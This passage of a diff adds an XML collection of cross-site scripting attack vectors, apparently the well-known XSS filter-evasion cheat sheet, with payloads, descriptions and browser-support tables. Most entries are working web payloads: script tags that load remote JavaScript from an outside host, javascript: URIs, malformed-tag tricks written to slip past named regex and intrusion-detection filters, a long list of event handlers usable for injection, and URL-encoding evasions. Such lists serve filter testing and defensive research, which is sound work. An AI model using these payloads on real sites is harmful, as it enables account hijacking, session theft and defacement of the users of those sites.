+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Half-Open HTML/JavaScript</name>
+ <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code>
+ <desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+ /((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/
+As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Double open angle brackets</name>
+ <code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code>
+ <desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc>
+ <label>Embedded Character Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Extraneous Open Brackets</name>
+ <code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code>
+ <desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Malformed IMG Tags</name>
+ <code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code>
+ <desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>
+
+ <label>Embedded Character Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>No Quotes/Semicolons</name>
+ <code>&lt;SCRIPT&gt;a=/XSS/
+alert(a.source)&lt;/SCRIPT&gt;</code>
+ <desc>No single quotes or double quotes or semicolons.</desc>
+ <label>Embedded Character Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Event Handlers List 1</name>
+ <code>See Below</code>
+ <desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+
+-FSCommand() (execute from within an embedded Flash object)
+
+-onAbort() (when user aborts the loading of an image)
+
+-onActivate() (when object is set as the active element)
+
+-onAfterPrint() (activates after user prints or previews print job)
+
+-onAfterUpdate() (activates on data object after updating data in the source object)
+
+-onBeforeActivate() (fires before the object is set as the active element)
+
+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)
+
+-onBeforeCut() (attacker executes the attack string right before a selection is cut)
+
+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+
+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+
+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)
+
+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)
+
+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+
+-onBegin() (fires immediately when the element&apos;s timeline begins)
+
+-onBlur() (in the case where another popup is loaded and window loses focus)
+
+-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)
+
+-onCellChange() (fires when data changes in the data provider)
+
+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
+
+-onClick() (fires when someone clicks on a form)
+
+-onContextMenu() (user would need to right click on attack area)
+
+-onControlSelect() (fires when the user is about to make a control selection of the object)
+
+-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)
+
+-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)
+
+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
+
+-onDataSetChanged() (fires when the data set exposed by a data source object changes)
+
+-onDataSetComplete() (fires to indicate that all data is available from the data source object)
+
+-onDblClick() (fires when user double-clicks a form element or a link)
+
+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+
+-onDrag() (requires that the user drags an object)
+
+-onDragEnd() (requires that the user drags an object)
+
+-onDragLeave() (requires that the user drags an object off a valid location)
+
+-onDragEnter() (requires that the user drags an object into a valid location)
+
+-onDragOver() (requires that the user drags an object into a valid location)
+
+-onDragDrop() (user drops an object (e.g. file) onto the browser window)
+
+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+
+</desc>
+ <label>Event Handlers</label>
+ <browser>Browser support:</browser>
+ </attack>
+ <attack>
+ <name>Event Handlers List 2</name>
+ <code>See Below</code>
+
+ <desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)
+
+-onError() (loading of a document or image causes an error)
+
+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+
+-onFilterChange() (fires when a visual filter completes state change)
+
+-onFinish() (attacker could create the exploit when marquee is finished looping)
+
+-onFocus() (attacker executes the attack string when the window gets focus)
+
+-onFocusIn() (attacker executes the attack string when window gets focus)
+
+-onFocusOut() (attacker executes the attack string when window loses focus)
+
+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+
+-onKeyDown() (fires when user depresses a key)
+
+-onKeyPress() (fires when user presses or holds down a key)
+
+-onKeyUp() (fires when user releases a key)
+
+-onLayoutComplete() (user would have to print or print preview)
+
+-onLoad() (attacker executes the attack string after the window loads)
+
+-onLoseCapture() (can be exploited by the releaseCapture() method)
+
+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
+
+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+
+-onMouseDown() (the attacker would need to get the user to click on an image)
+
+-onMouseEnter() (fires when cursor moves over an object or area)
+
+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+
+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+
+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+
+-onMouseOver() (fires when cursor moves over an object or area)
+
+-onMouseUp() (the attacker would need to get the user to click on an image)
+
+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+
+-onMove() (user or attacker would move the page)
+
+-onMoveEnd() (user or attacker would move the page)
+
+-onMoveStart() (user or attacker would move the page)
+
+-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)
+
+-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)
+
+-onPause() (fires on every element that is active when the timeline pauses, including the body element)
+
+-onProgress() (attacker would use this as a flash movie was loading)
+
+-onPropertyChange() (user or attacker would need to change an element property)
+
+-onReadyStateChange() (user or attacker would need to change an element property)
+</desc>
+ <label>Event Handlers</label>
+
+ <browser>Browser support:</browser>
+ </attack>
+ <attack>
+ <name>Event Handlers List 3</name>
+ <code>See Below</code>
+ <desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+
+-onReset() (fires when user or attacker resets a form)
+
+-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+
+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+
+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+
+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
+
+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+
+-onRowEnter() (user or attacker would need to change a row in a data source)
+
+-onRowExit() (user or attacker would need to change a row in a data source)
+
+-onRowDelete() (user or attacker would need to delete a row in a data source)
+
+-onRowInserted() (user or attacker would need to insert a row in a data source)
+
+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+
+-onSeek() (fires when the timeline is set to play in any direction other than forward)
+
+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+
+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+
+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+
+-onStart() (fires at the beginning of each marquee loop)
+
+-onStop() (user would need to press the stop button or leave the webpage)
+
+-onSynchRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)
+
+-onSubmit() (requires attacker or user submits a form)
+
+-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)
+
+-onTrackChange() (fires when user or attacker changes track in a playList)
+
+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
+
+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+
+-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+
+</desc>
+ <label>Event Handlers</label>
+ <browser>Browser support:</browser>
+ </attack>
+ <attack>
+ <name>Evade Regex Filter 1</name>
+ <code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+
+ <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:
+ /&lt;script[^&gt;]+src/i</desc>
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Evade Regex Filter 2</name>
+ <code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:
+ /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+
+(this is an important one, because I&apos;ve seen this regex in the wild)</desc>
+
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Evade Regex Filter 3</name>
+ <code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>Another XSS to evade this regex filter:
+ /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc>
+
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Evade Regex Filter 4</name>
+ <code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>Yet another XSS to evade the same filter:
+ /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc>
+
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Evade Regex Filter 5</name>
+ <code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>And one last XSS attack (using grave accents) to evade this regex:
+ /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc>
+
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Filter Evasion 1</name>
+ <code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+
+ <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc>
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Filter Evasion 2</name>
+ <code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>
+ <desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc>
+
+ <label>XSS w/HTML Quote Encapsulation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IP Encoding</name>
+ <code>&lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>URL Encoding</name>
+ <code>&lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Dword Encoding</name>
+ <code>&lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Hex Encoding</name>
+ <code>&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).
+The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Octal Encoding</name>
+ <code>&lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).
+Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Mixed Encoding</name>
+ <code>&lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).
+The tabs and newlines only work if this is encapsulated with quotes.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Protocol Resolution Bypass</name>
+ <code>&lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).
+Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &quot;(ht|f)tp(s)?://&quot; (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the &quot;//&quot; to &quot;\\&quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Firefox Lookups 1</name>
+ <code>&lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>Firefox uses Google&apos;s &quot;feeling lucky&quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox&apos;s &quot;keyword:&quot; protocol. You can concatenate several keywords by using something like the following &quot;keyword:XSS+RSnake&quot;</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Firefox Lookups 2</name>
+ <code>&lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>This uses a very tiny trick that appears to work Firefox only, because if it&apos;s implementation of the &quot;feeling lucky&quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It&apos;s simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Firefox Lookups 3</name>
+ <code>&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &quot;feeling lucky&quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &quot;google&quot;).</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Removing Cnames</name>
+ <code>&lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).
+When combined with the above URL, removing &quot;www.&quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Extra dot for Absolute DNS</name>
+ <code>&lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>JavaScript Link Location</name>
+ <code>&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed)
+JavaScript link location</desc>
+
+ <label>URL Obfuscation</label>
